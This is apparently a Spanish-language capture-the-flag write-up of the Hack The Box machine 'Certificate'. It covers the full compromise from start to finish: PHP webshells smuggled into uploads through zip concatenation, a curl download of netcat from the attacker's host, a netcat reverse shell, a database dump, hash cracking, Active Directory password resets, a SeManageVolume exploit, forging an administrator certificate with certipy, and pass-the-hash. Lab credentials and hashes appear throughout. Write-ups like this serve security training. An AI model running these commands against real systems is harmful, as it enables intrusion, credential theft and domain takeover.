Certificate

OS: Linux
Dificultad: Difícil
Puntos: 40

Nmap

ports=$(nmap -p- --min-rate=5000 10.129.250.153 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sV -sC 10.10.11.70
Nmap scan report for 10.129.250.153
Host is up (0.11s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-title: Did not follow redirect to http://certificate.htb/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-04 23:16:07Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
|_ssl-date: 2025-06-04T23:18:08+00:00; +1h06m47s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
|_ssl-date: 2025-06-04T23:17:47+00:00; +1h06m46s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
49721/tcp open  msrpc         Microsoft Windows RPC
49736/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

El escaneo nmap nos muestra dominios. Agregamos el dominio y subdominio a nuestro archivo hosts.

echo '10.129.250.153 certificate.htb dc01.certificate.htb' >> /etc/hosts

El servidor cuenta con un puerto web. La aplicación a simple vista solo tiene un formulario de registro y de inicio de sesión, también cuenta con un formulario de contacto, pero parece no ser relevante. Nos creamos una cuenta para acceder.

Una vez registrados iniciamos sesión e identificamos que podemos enrolar el usuario a uno de los cursos.

Al enrolar al usuario veremos una opción interesante llamada submit.

Seleccionando la opción nos muestra un panel para subir archivos donde menciona que tipo de archivos son permitidos.

Zip Concatenation

Después de intentar varias cosas y analizar diferentes situaciones llegamos identificamos que es vulnerable a zip concatenation. En el siguiente blog explican como funciona la vulnerabilidad. Los siguientes comando es una simplificación de varias pruebas que nos llevaron a explotar la vulnerabilidad.

Para obtener RCE muestro la forma en que lo realice. Primero descargamos o creamos un documento con extensión .docx y lo empaquetamos en un zip.

7z a file.zip test.docx

Después crearemos varios archivos PHP que ejecutaran nuestros comandos.

echo '<?php system("mkdir c:\\\\temp");?>' > dir.php
echo '<?php system("curl http://10.10.14.9/nc64.exe -o c:\\\\temp\\\\nc64.exe");?>' > nc.php
echo '<?php system("c:\\\\temp\\\\nc64.exe 10.10.14.9 1234 -e cmd.exe");?>' > shell.php

Ahora los empaquetamos en zip.

7z a dir.zip dir.php
7z a nc.zip nc.php 
7z a shell.zip shell.php

Por último los unimos uno por uno con el primer zip que creamos.

cat file.zip dir.zip > 1.zip
cat file.zip nc.zip > 2.zip
cat file.zip shell.zip > 3.zip

Lo siguiente que haremos será subir los archivos zip desde el formulario de la página. Cargamos uno por uno y una vez que la página lo guarda nos muestra el mensaje de donde descargarlo.

Al dar clic en el enlace puede que nos muestre la página en 404 o que se descargue el archivo .docx, para verificar si se ejecutó correctamente nuestro exploit escribiremos el nombre del archivo php.

Repetimos el proceso con los siguientes dos zip que nos faltan. Pero antes creamos el servidor web con python donde está el archivo nc64.exe y ponemos a la escucha nuestro netcat.

python3 -m http.server 80
nc -lvnp 1234

Ahora si cargamos los archivos y los ejecutamos.

http://certificate.htb/static/uploads/ac73694fb49bf014a070cbd8924bdf5c/nc.php
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.71 - - [04/Jun/2025 22:22:01] "GET /nc64.exe HTTP/1.1" 200 -

Al ejecutar el último php obtenemos una reverse shell.

http://certificate.htb/static/uploads/ac73694fb49bf014a070cbd8924bdf5c/shell.php
listening on [any] 1234 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.71] 62946
Microsoft Windows [Version 10.0.17763.6532]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\certificate.htb\static\uploads\ac73694fb49bf014a070cbd8924bdf5c>whoami
whoami
certificate\xamppuser

Lateral Movement

Después de enumerar el sistema identificamos el archivo db.php que contiene credenciales.

type c:\xampp\htdocs\certificate.htb\db.php
<?php
// Database connection using PDO
try {
    $dsn = 'mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4';
    $db_user = 'certificate_webapp_user'; // Change to your DB username
    $db_passwd = 'cert!f!c@teDBPWD'; // Change to your DB password
?>

Al intentar acceder a la DB parece que no es posible esto es debido a que Windows Defender esta impidiendo el acceso directamente. Sin embargo podemos hacer dump de la DB por medio del mismo método anterior con los archivos zip. Creamos nuestro archivo php.

echo '<?php system("c:\\\\xampp\\\\mysql\\\\bin\\\\mysqldump.exe -u certificate_webapp_user -pcert!f!c@teDBPWD Certificate_WEBAPP_DB > C:\\\\xampp\\\\htdocs\\\\certificate.htb\\\\static\\\\dump2.sql");?>' > mysqldump.php

Empaquetamos los archivos en zip.

7z a mysqldump.zip mysqldump.php
cat file.zip mysqldump.zip > mysql.zip

Los subimos a la página web y ejecutamos el php.

http://certificate.htb/static/uploads/ac73694fb49bf014a070cbd8924bdf5c/shell.php

Veremos que se creó el archivo dump2.sql en el servidor.

c:\xampp\htdocs\certificate.htb\static>dir

 Volume in drive C has no label.
 Volume Serial Number is 7E12-22F9

 Directory of c:\xampp\htdocs\certificate.htb\static

06/05/2025  12:30 AM    <DIR>          .
06/05/2025  12:30 AM    <DIR>          ..
12/26/2024  02:42 AM    <DIR>          css
06/05/2025  12:30 AM            19,512 dump2.sql
12/26/2024  02:42 AM    <DIR>          fonts
12/26/2024  02:49 AM    <DIR>          img
12/26/2024  02:50 AM    <DIR>          js
06/04/2025  08:12 PM    <DIR>          uploads

Lo descargamos directamente.

curl http://certificate.htb/static/dump2.sql -o dump2.sql
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 19512  100 19512    0     0  56124      0 --:--:-- --:--:-- --:--:-- 56068

Crack hash

El archivo contiene hashes de algunos usuarios. El más relevante es el usuario sara.b ya que tiene el rol de admin.

--
-- Dumping data for table `users`
--

LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES ....<SNIP>....(10,'Sara','Brawn','sara.b','sara.b@certificate.htb','$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6','2024-12-26 05:31:26','admin',1)
...<SNIP>... ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;

Utilizamos john para obtener el password en texto plano.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Blink182         (?)

Verificamos el acceso con las credenciales.

netexec smb certificate.htb -u 'Sara.B' -p Blink182
SMB         10.10.11.71     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.71     445    DC01             [+] certificate.htb\Sara.B:Blink182 

Bloodhound Enum

Utilizamos bloodhound para enumerar el dominio.

netexec ldap 10.10.11.71 -u 'Sara.B' -p 'Blink182' --bloodhound --collection All --dns-server 10.10.11.71
SMB         10.10.11.71     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.71     389    DC01             [+] certificate.htb\Sara.B:Blink182 
LDAP        10.10.11.71     389    DC01             Resolved collection methods: objectprops, acl, container, dcom, session, group, localadmin, rdp, trusts, psremote
LDAP        10.10.11.71     389    DC01             Done in 00M 21S
LDAP        10.10.11.71     389    DC01             Compressing output into /root/.nxc/logs/DC01_10.10.11.71_2025-06-05_014228_bloodhound.zip

Analizando el entorno con bloodhound identificamos que es posible conectarnos por winrm.

Nos conectamos por winrm.

evil-winrm -i 10.10.11.71 -u 'Sara.B' -p 'Blink182'
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Sara.B\Documents>

Este usuario puedo controlar diferentes objetos del AD, ya que pertenece al grupo Account Operators.

Entre los objetos más relevantes son los usuarios LION.SK y RYAN.K.

Estos usuarios son importantes porque perteneces al grupo Domain CRA Managers y Domain Storage Managers respectivamente.

ForceChangePassword

Tenemos privilegios GenericAll sobre los usuarios esto nos permite modificar sus passwords. Ejecutamos los siguientes comandos.

net rpc password 'lion.sk' 'Doom123!' -U 'certificate.htb'/'sara.b'%'Blink182' -S "certificate.htb"
net rpc password 'ryan.k' 'Doom123!' -U 'certificate.htb'/'sara.b'%'Blink182' -S "certificate.htb"

Los comandos no regresarán outputs sin embargo podemos verificar el acceso a los usuarios.

netexec smb certificate.htb -u 'lion.sk' -p 'Doom123!'
SMB         10.10.11.71     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.71     445    DC01             [+] certificate.htb\lion.sk:Doom123!
netexec smb certificate.htb -u 'ryan.k' -p 'Doom123!'
SMB         10.10.11.71     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.71     445    DC01             [+] certificate.htb\ryan.k:Doom123!

Podemos acceder por winrm con los usuarios. El usuario lion.sk tiene la bandera user.txt.

evil-winrm -i 10.10.11.71 -u 'lion.sk' -p 'Doom123!'
*Evil-WinRM* PS C:\Users\Lion.SK\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Lion.SK\Desktop> dir


    Directory: C:\Users\Lion.SK\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         6/4/2025   8:06 PM             34 user.txt


*Evil-WinRM* PS C:\Users\Lion.SK\Desktop> type user.txt
264d1c23ac813f40bc576ca8835584f5

Privilege Escalation

Enumeramos certificados vulnerables con el usuario lion.sk.

certipy find -vulnerable -u 'lion.sk' -p 'Doom123!' -dc-ip 10.10.11.71
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 18 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'Certificate-LTD-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'Certificate-LTD-CA'
[*] Checking web enrollment for CA 'Certificate-LTD-CA' @ 'DC01.certificate.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20250606021545_Certipy.txt'
[*] Wrote text output to '20250606021545_Certipy.txt'
[*] Saving JSON output to '20250606021545_Certipy.json'
[*] Wrote JSON output to '20250606021545_Certipy.json'

Vemos que hay un certificado vulnerable y los usuarios que pertenecen al grupo Domain CRA Managers tienes permisos Enrollment Rights.

Sin embargo cuando intentamos explotar el certificado no podemos obtener el hash del usuario administrador por lo tanto requerimos realizar más pasos para que esto funcione. Con el usuario ryan.k vemos un privilegio particular SeManageVolumePrivilege.

evil-winrm -i 10.10.11.71 -u 'ryan.k' -p 'Doom123!'
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                      State
============================= ================================ =======
SeMachineAccountPrivilege     Add workstations to domain       Enabled
SeChangeNotifyPrivilege       Bypass traverse checking         Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set   Enabled

SeManageVolumePrivilege

Este privilegio nos permite tomar el control total del disco C por lo que podríamos obtener acceso a las MachineKeys con el fin de explotar el certificado. Para eso ejecutamos el siguiente exploit.

Subimos el binario desde winrm.

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> upload /root/htb/Box/Certificate/SeManageVolumeExploit.exe
                                        
Info: Uploading /root/htb/Box/Certificate/SeManageVolumeExploit.exe to C:\Users\Ryan.K\Documents\SeManageVolumeExploit.exe
                                        
Data: 16384 bytes of 16384 bytes copied
                                        
Info: Upload successful!

Lo ejecutamos para tener control del disco C.

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> .\SeManageVolumeExploit.exe
Entries changed: 848

DONE

Verificamos que tenemos el control total.

ESC3

Utilizando certutil exportamos el certificado Certificate-LTD-CA.

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> certutil -exportPFX my Certificate-LTD-CA ca.pfx
my "Personal"
================ Certificate 2 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
 NotBefore: 11/3/2024 3:55 PM
 NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
  Key Container = Certificate-LTD-CA
  Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958
  Provider = Microsoft Software Key Storage Provider
Signature test passed
Enter new password for output file ca.pfx:
Enter new password:
Confirm new password:
CertUtil: -exportPFX command completed successfully.

Descargamos el certificado.

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> download ca.pfx
                                        
Info: Downloading C:\Users\Ryan.K\Documents\ca.pfx to ca.pfx
                                        
Info: Download successful!

Ejecutamos los siguientes comandos para forjar el certificado del usuario administrador.

certipy forge -ca-pfx ca.pfx -upn administrator@certificate.htb -subject 'CN=ADMINISTRATOR,CN=USERS,DC=CERTIFICATE,DC=HTB'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'

Sincronizamos la hora con el servidor si no obtendremos un error.

ntpdate -s 10.10.11.71

Ahora nos autenticamos con el certificado.

certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.11.71
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@certificate.htb'
[*] Using principal: 'administrator@certificate.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certificate.htb': aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6

Por último nos conectamos por winrm con el hash.

evil-winrm -i 10.10.11.71 -u 'administrator' -H d804304519bf0143c14cbf1c024408c6
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
87e35992618fddb14678853a9315bc84
*Evil-WinRM* PS C:\Users\Administrator\Documents>

References

https://perception-point.io/blog/evasive-concatenated-zip-trojan-targets-windows-users/
https://www.securitynewspaper.com/2024/11/14/winrar-and-zip-file-exploits-this-zip-file-hack-could-let-malware-bypass-your-antivirus/
https://github.com/int0x33/nc.exe/
https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public